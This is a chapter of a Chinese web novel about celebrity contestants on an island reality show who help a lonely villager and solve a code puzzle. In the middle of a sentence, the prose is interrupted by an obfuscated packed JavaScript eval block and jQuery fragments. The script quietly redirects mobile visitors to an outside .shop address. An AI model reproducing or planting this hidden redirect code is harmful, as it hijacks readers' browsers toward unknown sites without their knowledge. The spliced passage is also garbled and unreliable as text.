叶棠瞪了陆景明一眼,示意他别添堵:“阿姨,实不相瞒,我们是路过这里的志愿者,有什么需要帮助的地方吗?”她温和地笑笑,试图让女人放下敌意。
看女人片刻松动,她趁热打铁:“我看您小院好久没有打扫了,想必是腰背不方便,我们帮您弄一下吧。”
见女人没说话,她拽过愣在后面的陆景明,主动进入小院。
熟悉的场景一下把她拉回来记忆里。从前她住的地方也是这样,沿着河岸因而总是潮湿,缺乏修缮因而显得破落。
叶棠俯下身,码好地上散乱的树枝,堆成整齐的一堆。
面对陆景明一脸懵逼的表情,她认真道:“别问,帮她清扫下院子吧。”
陆景明挑了挑眉,眼神闪烁,有些不信任。
“有别的方法,那你自己去做吧,我自己扫去。”叶棠懒得掰扯,自己作势要起身。
陆景明斗不过她,顺从地去到墙角,拿来那扫把。
巨大的扫把由树枝做成,树枝毛乎乎地四处分叉,扫起来很重,却出奇地好用。
陆景明看着躬身整理,一言不发的叶棠,少见地没有毒舌,两个人安安静静地一起打扫起院子。
时间倒转回六年前。
两个人刚认识不久时。
叶棠被人捉弄,老师不分青红皂白,便袒护了自己心中“品学兼优”的爱徒,罚叶棠连续扫一周的课室。
她委屈,却只是咽下苦涩,只因明白对于不信任的人来说,争辩不过白费口舌。
学校课室很大,九十多张课桌摆满了课室,满地都是大家放的杂物,即使随意弄弄,也要个把小时。
即使被罚叶棠也不愿敷衍了事,一个人从天亮做到天黑,好朋友姜茜前两天还帮她摆下桌椅,擦下黑板,到了第三天便干不动了,全由她一手完成。
走廊里都没有了人,叶棠一个人慢悠悠擦着窗户,表演训练结束的陆景明,刚好回来拿遗漏的东西。
见那走廊尽头还有一间课室亮着灯,一个长发的女生背对着走廊动作轻轻慢慢地擦着窗户,莫名地瘆人。
陆景明不敢久留,转头叫来一帮兄弟打女鬼,一群人闹闹哄哄互相壮胆。
“哈!”他冲进昏暗的教室,拿起棍子直捣“女鬼”,幻想着做英雄。
叶棠转身一瞬,所有人都忍不住闭上眼睛。
想象中正面也是长发的鬼却未出现,只有叶棠清丽冷傲的正脸,刺激恐怖的校园英雄抓鬼桥段没实现,兄弟笑得前仰后合,都揶揄陆景明胆小,却吵吵嚷嚷地一起帮叶棠扫完了整间课室。
陆景明拖地,兄弟们擦窗,叶棠倒垃圾,一群人齐心协力。
回到当下,却不如当初那般少年心气,无话不谈,只有沉默的落叶声,反复刮擦着地面。
“就知道逞强,你手好全了吗?”,陆景明看她低头捡拾枝丫,生怕她又不小心划伤手。
“不要假惺惺的关心。”叶棠反驳道。
陆景明好意反被怼,忍不住想骂那袖手旁观的张阿姨,叶棠一记眼刀过来,他没辙,只得尽力平复语气:“张阿姨,您看现在扫得也差不多了,互帮互助,您是不是也该给我们想要的东西了?”
“好啊好啊。”温和慈祥的声音传来。
陆景明意外,转身看见那刚刚眼神阴冷凶狠的张阿姨,此刻双眸变得柔和起来,她拿过陆景明手里的扫把,又招呼叶棠停下,她有空自己打扫便是。
“说是志愿者,你们从哪里来呀?”张阿姨问。
“上海。”叶棠回答道,“其实我们是骗你的,阿姨,我们是来岛上录节目。”
“不打紧。”阿姨叹了口气,怅惘地说,“自从我丈夫重病离世,儿子去城中谋生,已经十几年没回来了。”
“我平常闭门不见客,只因那外面来的都不是些好人,总是索要些建材费,管岛费。”
“你们却帮我打扫,还与我讲话,我这已经好久没那么热闹了。”阿姨眼中露出片刻柔情。
“看你们打闹,像是一对吧。年轻真好啊,我儿子,就如你这般大。”
被错认情侣,两个人尴尬地对视一眼。
“不是,阿姨你眼神不好吧。”陆景明耳根红了,嘴上却不饶人。
“你还骗得了我。”张阿姨一副我懂的表情,打趣道。
叶棠生涩地开口:“您的儿子,他也一定会想念你的,可能只是工作繁忙,无法抽身。”
“不重要咯,你们有空,多来找我啊,我请你们吃我做的糍粑。”张阿姨拿出一个小锦囊,塞进叶棠手里,“走吧走吧!”,她念叨着,转身回了房间。
回去路上,叶棠想起刚刚的场景,感慨万千。
那张阿姨恰似母亲,自己一人在家,想必也是十分孤寂,她一定要好好工作,争取多赚钱,把她接到身边。
陆景明在后面识趣地一路没有贫嘴。
两人打开那锦囊,里面放着四分之一张纸片,上面画着一些直线,意义不明。
锦囊里还有一些彩色珠子。
上次猜菜游戏里叶棠也得到了一些,想必是类似货币。
她一颗颗数着,分了一半递给陆景明。
对方摆摆手:“我不要,主意你出的,功劳在你,你都拿了吧。”
但叶棠一点也不想欠陆景明的,抓着他的口袋,把彩珠尽数放了进去。
两人回到小屋,唐果儿和陈清海也到了。
一见着他俩,她就忍不住说起刚刚的离谱经历:“我和陈清海去那陈家,老人十分热情,和他对了十分钟古诗词。结果人根本不知道,我们发现屋里还有个小孩。”
“帮他打过了三关游戏,才勉强松口。”
陆景明找到了共鸣:“我们也没好到哪里去,给那大妈扫了快半小时地,她才没板着个脸把我们轰走。”
叶棠抱着手看着他俩,淡淡地无奈,又有些想笑。
撞上陈清海的眼神,两个人是完全相似的表情。
叶棠和他对了对线索,发现也是一样的纸,两边有撕开的痕迹,线也可以连在一起。
“你俩,过来看看。”他冲着激情吐槽的陆唐兄妹组道。
唐果儿刚准备埋头研究这两张纸片,陆景明只扫了一眼便说:“九宫格数字。”
陈清海和唐果儿还没反应过来,叶棠就问:“15什么9?”
“四位数密码,应该是1359或者15
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533808|203620||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
79。”陆景明拿起那小藏宝箱,验证他的推测。
“不是,我没明白...”白字的尾音未落,咔哒一声,小锁扣便开了,宝箱盖子自动弹开,露出里面放着的一张羊皮材质的图纸。
“用两张纸又换了一张纸?”陈清海有点蒙。
“什么原理啊?”唐果儿更是好奇,“那他们岂不是白去了。”
“嗯。”陆景明淡淡地应道。
唐果儿见索要原理无果,转头去扒拉叶棠,对方没说话,给她简单化了一个示意图。
这时剩下的两组都回来了,林曦一脸不容易:“陪那老头钓了半小时鱼,一条都没上钩,钓上来一堆海草。”
她拿出自己得到的线索纸,“来之不易啊。”
贺阳他们更惨,不懂周旋,直接被赶了出来,空手而归。
所幸,“已经不用了,陆景明只看了两张纸就解开了。”唐果儿说。
江泠月第一次对崇拜的男神露出复杂的表情,既有崇拜的难以置信,又有被耍的苦不堪言。
“这图是一张地图,画的是这个海岛,我猜节目组是想用他指引我们去什么地方?”陈清海介绍。
“不用猜。”陆景明不知道从哪里变出来最开始那张纸片,“情如硕果,若需成熟,亟待考验,又是果子,又是成熟,是指引我们去百果洲。”
一众人准备出发,叶棠提议可以拿些采摘果子的用具。
厨艺比拼那日,厨子找出食材房的那一刻起,众人就认识到节目组倒也不是完全没良心,只是没长嘴。
他们把房子掘地三尺,找出来一间工具房,有各种钓鱼、潜水装备、高级农具、果网,应有尽有。
“还是师父想得周全。”贺阳表示赞同。
于是他们带上了几个采摘杆,还有采摘剪,男生们背着行李,女生们哼着歌,一路前进。
穿过丛丛树林,走过清朗沙滩,此刻大家离那百果洲只有一步之遥。
终于知道为什么要命名为洲了,那地方是一个岛中岛,只有通过一个独木桥,才能达到它的大门。
木桥老旧,年久失修,痕迹斑驳,细细的木却很长,连通着百果洲和现在他们所踏着的陆地,底下是一片碧蓝的水。
桥并不高,却让人心惊,毕竟这是在录节目,不慎跌落便会丢人丢到电视里。
“我想问,这里的水算是海水还是湖水?”庄疏白好奇。
“湖水。”叶棠的回答依旧简洁,“不通大海,所以是淡水。”
“这是怎么形成的?”贺阳也好奇起来。
叶棠不说话了,这几百甚至几千年的历史演变,讲起来颇费口舌,她选择沉默。
后面的陆景明抱着胳膊,露出一丝得意的浅笑,缓缓开口:“这是火山岛屿,想必是由火山喷发后山体塌陷形成火山口洼地,积水成湖,慢慢堆积,便形成了岛。”
“这都知道,好厉害。”贺阳也崇拜起来。
“像听了一节地理课。”唐果儿点评。
叶棠摇了摇头,她不愿出的风头,总有人来抢,她一个人走到一边,默默踩了一只脚上去,欲测试这桥的承重能力。
“嘎吱”,刺耳的声音突然传来。